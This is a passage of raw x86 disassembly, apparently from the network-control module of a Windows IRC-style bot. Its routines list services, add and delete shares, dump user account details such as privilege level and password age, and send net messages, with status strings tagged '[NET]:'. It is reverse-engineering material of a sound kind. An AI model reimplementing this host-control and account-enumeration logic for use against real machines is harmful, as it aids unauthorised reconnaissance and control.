		jz	short loc_406F96
		dec	eax
		jz	short loc_406F8F
		dec	eax
		lea	eax, [ebp+var_20]
		jz	short loc_406F88
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_406FBA
; ---------------------------------------------------------------------------


loc_406F88:				; CODE XREF: sub_406EE3+9Cj
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_406FBA
; ---------------------------------------------------------------------------


loc_406F8F:				; CODE XREF: sub_406EE3+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_406FB7
; ---------------------------------------------------------------------------


loc_406F96:				; CODE XREF: sub_406EE3+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_406FB7
; ---------------------------------------------------------------------------


loc_406F9D:				; CODE XREF: sub_406EE3+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_406FB7
; ---------------------------------------------------------------------------


loc_406FA4:				; CODE XREF: sub_406EE3+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_406FB7
; ---------------------------------------------------------------------------


loc_406FAB:				; CODE XREF: sub_406EE3+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_406FB7
; ---------------------------------------------------------------------------


loc_406FB2:				; CODE XREF: sub_406EE3+87j
		push	offset aStopped	; "    Stopped"


loc_406FB7:				; CODE XREF: sub_406EE3+B1j
					; sub_406EE3+B8j ...
		lea	eax, [ebp+var_20]


loc_406FBA:				; CODE XREF: sub_406EE3+A3j
					; sub_406EE3+AAj
		push	eax
		call	sub_4145E5
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		lea	eax, [ebp+var_20]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS_0	; "%s: %s (%s)"
		push	eax
		call	sub_4145E5
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_38C]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4056FB
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_406F66


loc_407003:				; CODE XREF: sub_406EE3+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_406F1B


loc_40700C:				; CODE XREF: sub_406EE3+6Cj
		push	[ebp+var_C]
		call	dword_435818	; CloseServiceHandle
		xor	eax, eax
		cmp	eax, [ebp+var_4]
		pop	edi
		sbb	eax, eax
		pop	esi
		neg	eax
		pop	ebx
		leave
		retn
sub_406EE3	endp


; =============== S U B	R O U T	I N E =======================================



sub_407023	proc near		; CODE XREF: sub_4070E5+Ap
					; sub_4070E5+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_407030
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_407030:				; CODE XREF: sub_407023+9j
		push	ebx
		push	esi
		mov	esi, ds:dword_4200D4
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi	; MultiByteToWideChar
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_4155FE
		pop	ecx
		push	edi
		mov	ebx, eax
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi	; MultiByteToWideChar
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		pop	ebp
		retn
sub_407023	endp


; =============== S U B	R O U T	I N E =======================================



sub_407064	proc near		; CODE XREF: sub_40FF1B+248p

arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h
arg_20		= dword	ptr  24h

		mov	eax, offset loc_41FB9D
		call	sub_415A60
		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_10],	esi
		jnz	short loc_40707B
		xor	eax, eax
		jmp	short loc_4070D7
; ---------------------------------------------------------------------------


loc_40707B:				; CODE XREF: sub_407064+11j
		push	ebx


loc_40707C:				; DATA XREF: .data:0042CC5Co
					; .data:0042CC70o ...
		push	ebp
		push	edi
		mov	edi, ds:dword_4200D8
		push	esi
		push	esi
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[esp+24h+arg_10]
		mov	ebx, 400h
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		test	byte ptr dword_435C08, 1
		mov	ebp, eax
		jnz	short loc_4070BC
		or	dword_435C08, 1
		lea	eax, [ebp+1]
		push	eax
		mov	[esp+4+arg_14],	esi
		call	sub_4155FE
		pop	ecx
		mov	dword_435C04, eax


loc_4070BC:				; CODE XREF: sub_407064+3Cj
		push	esi
		push	esi
		push	ebp
		push	dword_435C04
		push	0FFFFFFFFh
		push	[esp+14h+arg_20]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		mov	eax, dword_435C04
		pop	edi
		pop	ebp
		pop	ebx


loc_4070D7:				; CODE XREF: sub_407064+15j
		mov	ecx, [esp+4]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_407064	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4070E5	proc near		; CODE XREF: sub_407820+6Cp
					; sub_410242+18Fp ...

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	edi
		push	[ebp+arg_0]
		call	sub_407023
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_407023
		push	24h
		push	[ebp+arg_4]
		mov	[ebp+var_24], eax
		call	sub_415A90
		push	[ebp+arg_8]
		neg	eax
		sbb	eax, eax
		and	[ebp+var_1C], 0
		or	[ebp+var_14], 0FFFFFFFFh
		and	[ebp+var_10], 0
		and	eax, 80000000h
		mov	[ebp+var_20], eax
		mov	[ebp+var_18], 7Fh
		call	sub_407023
		and	[ebp+var_8], 0
		add	esp, 14h
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	2
		push	edi
		call	dword_4357D0
		pop	edi
		leave
		retn
sub_4070E5	endp


; =============== S U B	R O U T	I N E =======================================



sub_407150	proc near		; CODE XREF: sub_407820+20p
					; sub_40FF1B+1BDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_407023
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_407023
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4357EC
		pop	esi
		retn
sub_407150	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407173	proc near		; CODE XREF: sub_4079FD+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_407023
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_407023
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_407023
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		and	[ebp+var_8], 0
		add	esp, 0Ch
		lea	ecx, [ebp+var_4]
		push	ecx
		mov	[ebp+var_20], eax
		xor	eax, eax
		lea	ecx, [ebp+var_24]
		inc	eax
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_4357B4
		pop	edi
		leave
		retn
sub_407173	endp


; =============== S U B	R O U T	I N E =======================================



sub_4071CD	proc near		; CODE XREF: sub_4079FD+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_407023
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_407023
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_4358B0
		pop	esi
		retn
sub_4071CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4071EE	proc near		; CODE XREF: sub_4079FD+2Dp

var_208		= byte ptr -208h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 208h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_407023
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_407023
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_4357D4
		test	eax, eax
		mov	[ebp+var_8], eax
		jnz	loc_40757B
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_4075B6
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_208]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_4145E5
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4056FB
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_208]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_4145E5
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4056FB
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_208]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_4145E5
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4056FB
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_208]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_4145E5
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4056FB
		mov	eax, [ebp+var_4]
		mov	eax, [eax+10h]
		add	esp, 40h
		sub	eax, 0
		jz	short loc_407307
		dec	eax
		jz	short loc_407300
		dec	eax
		jz	short loc_4072F9
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_40730C
; ---------------------------------------------------------------------------


loc_4072F9:				; CODE XREF: sub_4071EE+102j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_40730C
; ---------------------------------------------------------------------------


loc_407300:				; CODE XREF: sub_4071EE+FFj
		mov	eax, offset aUser_1 ; "User"
		jmp	short loc_40730C
; ---------------------------------------------------------------------------


loc_407307:				; CODE XREF: sub_4071EE+FCj
		mov	eax, offset aGuest ; "Guest"


loc_40730C:				; CODE XREF: sub_4071EE+109j
					; sub_4071EE+110j ...
		push	eax
		lea	eax, [ebp+var_208]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_4145E5
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4056FB
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_208]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_4145E5
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4056FB
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_208]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_4145E5
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4056FB
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_208]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_4145E5
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4056FB
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_208]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_4145E5
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4056FB
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_208]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_4145E5
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4056FB
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_208]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_4145E5
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4056FB
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_208]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_4145E5
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4056FB
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_208]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_4145E5
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4056FB
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_208]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_4145E5
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4056FB
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_208]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_4145E5
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4056FB
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_208]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_4145E5
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4056FB
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_208]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_4145E5
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4056FB
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_208]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_4145E5
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4056FB
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_208]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_4145E5
		push	1
		push	esi
		lea	eax, [ebp+var_208]
		push	eax
		push	edi
		push	ebx
		call	sub_4056FB
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_4075A7
; ---------------------------------------------------------------------------


loc_40757B:				; CODE XREF: sub_4071EE+35j
		push	eax
		lea	eax, [ebp+var_208]
		push	offset aNetUserInfoErr ; "[NET]: User info error: <%ld>"
		push	eax
		call	sub_4145E5
		push	0
		push	[ebp+arg_10]
		lea	eax, [ebp+var_208]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_4056FB
		add	esp, 20h


loc_4075A7:				; CODE XREF: sub_4071EE+38Bj
		cmp	[ebp+var_4], 0
		jz	short loc_4075B6
		push	[ebp+var_4]
		call	dword_435820


loc_4075B6:				; CODE XREF: sub_4071EE+40j
					; sub_4071EE+3BDj
		mov	eax, [ebp+var_8]
		pop	esi
		leave
		retn
sub_4071EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_4075BC	proc near		; CODE XREF: sub_4076EC+9Ep
					; sub_407820:loc_407860p ...
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_40766A
		jz	loc_407663
		cmp	eax, 7Bh
		ja	short loc_40762F
		jz	short loc_407625
		cmp	eax, 5
		jz	short loc_40761B
		cmp	eax, 8
		jz	short loc_407611
		cmp	eax, 32h
		jz	short loc_407607
		cmp	eax, 35h
		jz	short loc_4075FD
		cmp	eax, 57h
		jnz	loc_4076B9
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_4076DA
; ---------------------------------------------------------------------------


loc_4075FD:				; CODE XREF: sub_4075BC+2Cj
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_4076DA
; ---------------------------------------------------------------------------


loc_407607:				; CODE XREF: sub_4075BC+27j
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_4076DA
; ---------------------------------------------------------------------------


loc_407611:				; CODE XREF: sub_4075BC+22j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_4076DA
; ---------------------------------------------------------------------------


loc_40761B:				; CODE XREF: sub_4075BC+1Dj
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_4076DA
; ---------------------------------------------------------------------------


loc_407625:				; CODE XREF: sub_4075BC+18j
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_4076DA
; ---------------------------------------------------------------------------


loc_40762F:				; CODE XREF: sub_4075BC+16j
		sub	eax, 7Ch
		jz	short loc_40765C
		sub	eax, 7C8h
		jz	short loc_407655
		dec	eax
		jz	short loc_40764B
		dec	eax
		jnz	short loc_4076B9
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_4076DA
; ---------------------------------------------------------------------------


loc_40764B:				; CODE XREF: sub_4075BC+80j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_4076DA
; ---------------------------------------------------------------------------


loc_407655:				; CODE XREF: sub_4075BC+7Dj
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_4076DA
; ---------------------------------------------------------------------------


loc_40765C:				; CODE XREF: sub_4075BC+76j
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_4076DA
; ---------------------------------------------------------------------------


loc_407663:				; CODE XREF: sub_4075BC+Dj
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_4076DA
; ---------------------------------------------------------------------------


loc_40766A:				; CODE XREF: sub_4075BC+7j
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_4076A3
		jz	short loc_40769C
		sub	eax, 8ADh
		jz	short loc_4076CE
		dec	eax
		dec	eax
		jz	short loc_407695
		dec	eax
		jz	short loc_40768E
		dec	eax
		dec	eax
		jnz	short loc_4076B9
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_4076DA
; ---------------------------------------------------------------------------


loc_40768E:				; CODE XREF: sub_4075BC+C5j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_4076DA
; ---------------------------------------------------------------------------


loc_407695:				; CODE XREF: sub_4075BC+C2j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_4076DA
; ---------------------------------------------------------------------------


loc_40769C:				; CODE XREF: sub_4075BC+B7j
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_4076DA
; ---------------------------------------------------------------------------


loc_4076A3:				; CODE XREF: sub_4075BC+B5j
		sub	eax, 8CAh
		jz	short loc_4076D5
		sub	eax, 17h
		jz	short loc_4076CE
		sub	eax, 25h
		jz	short loc_4076C7
		sub	eax, 29h
		jz	short loc_4076C0


loc_4076B9:				; CODE XREF: sub_4075BC+31j
					; sub_4075BC+83j ...
		push	offset aAnUnknownError ; "An unknown error occurred."
		jmp	short loc_4076DA
; ---------------------------------------------------------------------------


loc_4076C0:				; CODE XREF: sub_4075BC+FBj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_4076DA
; ---------------------------------------------------------------------------


loc_4076C7:				; CODE XREF: sub_4075BC+F6j
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_4076DA
; ---------------------------------------------------------------------------


loc_4076CE:				; CODE XREF: sub_4075BC+BEj
					; sub_4075BC+F1j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_4076DA
; ---------------------------------------------------------------------------


loc_4076D5:				; CODE XREF: sub_4075BC+ECj
		push	offset aNetworkConnect ; "Network connection not found."


loc_4076DA:				; CODE XREF: sub_4075BC+3Cj
					; sub_4075BC+46j ...
		push	offset dword_435C10
		call	sub_4145E5
		pop	ecx
		pop	ecx
		mov	eax, offset dword_435C10
		retn
sub_4075BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4076EC	proc near		; CODE XREF: sub_408A18+1E24p

var_71C		= byte ptr -71Ch
var_31C		= byte ptr -31Ch
var_10C		= byte ptr -10Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 71Ch
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_71C]
		push	eax
		call	sub_415C5A
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_10C]
		mov	esi, 108h
		push	eax
		mov	[ebp+var_4], esi
		call	ds:dword_4200DC	; GetComputerNameA
		push	esi
		lea	eax, [ebp+var_10C]
		push	eax
		lea	eax, [ebp+var_31C]
		push	eax
		call	sub_415C5A
		lea	eax, [ebp+var_71C]
		push	eax
		call	sub_415B4E
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_71C]
		push	eax
		push	0
		lea	eax, [ebp+var_31C]
		push	eax
		push	0
		call	dword_4357FC
		test	eax, eax
		jnz	short loc_40777C
		push	offset aNetMessageSent ; "[NET]: Message sent successfully."
		mov	esi, offset dword_435C70
		push	esi
		call	sub_4145E5
		pop	ecx
		pop	ecx
		jmp	short loc_4077A3
; ---------------------------------------------------------------------------


loc_40777C:				; CODE XREF: sub_4076EC+7Aj
		lea	ecx, [ebp+var_71C]
		push	ecx
		lea	ecx, [ebp+var_31C]
		push	ecx
		call	sub_4075BC
		push	eax
		push	offset aNetSServerSMes ; "[NET]: %s <Server: %S> <Message: %S>"
		mov	esi, offset dword_435C70
		push	esi
		call	sub_4145E5
		add	esp, 14h


loc_4077A3:				; CODE XREF: sub_4076EC+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4076EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4077A8	proc near		; CODE XREF: sub_408A18:loc_40A63Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_4077FE
		push	0
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	dword_42B478[esi]
		push	edi
		push	eax
		call	sub_406CC7
		add	esp, 14h
		test	eax, eax
		jnz	short loc_4077F0
		push	edi
		push	off_42B474[esi]
		push	offset aNetSServiceS_ ;	"[NET]:	%s service: '%s'."


loc_4077E0:				; CODE XREF: sub_4077A8+54j
		mov	esi, offset dword_435E70
		push	esi
		call	sub_4145E5
		add	esp, 10h
		jmp	short loc_40781B
; ---------------------------------------------------------------------------


loc_4077F0:				; CODE XREF: sub_4077A8+2Aj
		call	sub_406D69
		push	eax
		push	edi
		push	offset aNetErrorWithSe ; "[NET]: Error with service: '%s'. %s"
		jmp	short loc_4077E0
; ---------------------------------------------------------------------------


loc_4077FE:				; CODE XREF: sub_4077A8+Cj
		lea	eax, [eax+eax*2]
		push	off_42B470[eax*4]
		mov	esi, offset dword_435E70
		push	offset aNetSNoServiceS ; "[NET]: %s: No	service	specified."
		push	esi
		call	sub_4145E5
		add	esp, 0Ch


loc_40781B:				; CODE XREF: sub_4077A8+46j
		pop	edi
		mov	eax, esi
		pop	esi
		retn
sub_4077A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407820	proc near		; CODE XREF: sub_408A18:loc_40A723p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_4078B8
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_407849
		dec	eax
		jnz	short loc_407898
		push	edi
		push	0
		call	sub_407150
		pop	ecx
		pop	ecx
		jmp	short loc_407894
; ---------------------------------------------------------------------------


loc_407849:				; CODE XREF: sub_407820+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_407886
		push	24h
		push	edi
		call	sub_415A90
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_407886
		push	57h
		pop	eax


loc_407860:				; CODE XREF: sub_407820+76j
		call	sub_4075BC
		push	eax
		push	edi
		lea	eax, [esi+esi*2]
		push	off_42B470[eax*4]
		mov	esi, offset dword_436070
		push	offset aNetSErrorWithS ; "[NET]: %s: Error with	share: '%s'. %s"
		push	esi
		call	sub_4145E5
		add	esp, 14h
		jmp	short loc_4078D8
; ---------------------------------------------------------------------------


loc_407886:				; CODE XREF: sub_407820+2Dj
					; sub_407820+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_4070E5
		add	esp, 0Ch


loc_407894:				; CODE XREF: sub_407820+27j
		test	eax, eax
		jnz	short loc_407860


loc_407898:				; CODE XREF: sub_407820+1Bj
		push	edi
		lea	eax, [esi+esi*2]
		push	off_42B474[eax*4]
		mov	esi, offset dword_436070
		push	offset aNetSShareS_ ; "[NET]: %s share:	'%s'."
		push	esi
		call	sub_4145E5
		add	esp, 10h
		jmp	short loc_4078D8
; ---------------------------------------------------------------------------


loc_4078B8:				; CODE XREF: sub_407820+Aj
		mov	eax, [ebp+arg_0]
		lea	eax, [eax+eax*2]
		push	off_42B470[eax*4]
		mov	esi, offset dword_436070
		push	offset aNetSNoShareSpe ; "[NET]: %s: No	share specified."
		push	esi
		call	sub_4145E5
		add	esp, 0Ch


loc_4078D8:				; CODE XREF: sub_407820+64j
					; sub_407820+96j
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebp
		retn
sub_407820	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4078DE	proc near		; CODE XREF: sub_408A18+1D38p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_407023
		xor	esi, esi
		push	esi
		push	[ebp+arg_8]
		mov	[ebp+var_10], eax
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		mov	[ebp+var_4], esi
		push	[ebp+arg_0]
		mov	[ebp+var_14], esi
		mov	[ebp+var_C], esi
		call	sub_4056FB
		add	esp, 18h


loc_407917:				; CODE XREF: sub_4078DE+10Dj
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0FFFFFFFFh
		lea	eax, [ebp+var_8]
		push	eax
		push	1F6h
		push	[ebp+var_10]
		call	dword_4358E8
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_407978
		cmp	ebx, 0EAh
		jz	short loc_407978
		push	ebx
		call	sub_4075BC
		push	eax
		lea	eax, [ebp+var_214]
		push	offset aNetShareListEr ; "[NET]: Share list error: %s <%ld>"
		push	eax
		call	sub_4145E5
		push	esi
		push	[ebp+arg_8]
		lea	eax, [ebp+var_214]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4056FB
		add	esp, 24h
		jmp	short loc_4079E5
; ---------------------------------------------------------------------------


loc_407978:				; CODE XREF: sub_4078DE+5Dj
					; sub_4078DE+65j
		xor	edi, edi
		inc	edi
		cmp	[ebp+var_4], edi
		jb	short loc_4079DC
		mov	esi, [ebp+var_8]
		add	esi, 14h


loc_407986:				; CODE XREF: sub_4078DE+FAj
		push	dword ptr [esi+10h]
		call	dword_4358E0	; IsValidSecurityDescriptor
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_40799D
		mov	eax, offset aNo	; "No"


loc_40799D:				; CODE XREF: sub_4078DE+B8j
		push	eax
		push	dword ptr [esi]
		lea	eax, [ebp+var_214]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_4145E5
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_214]
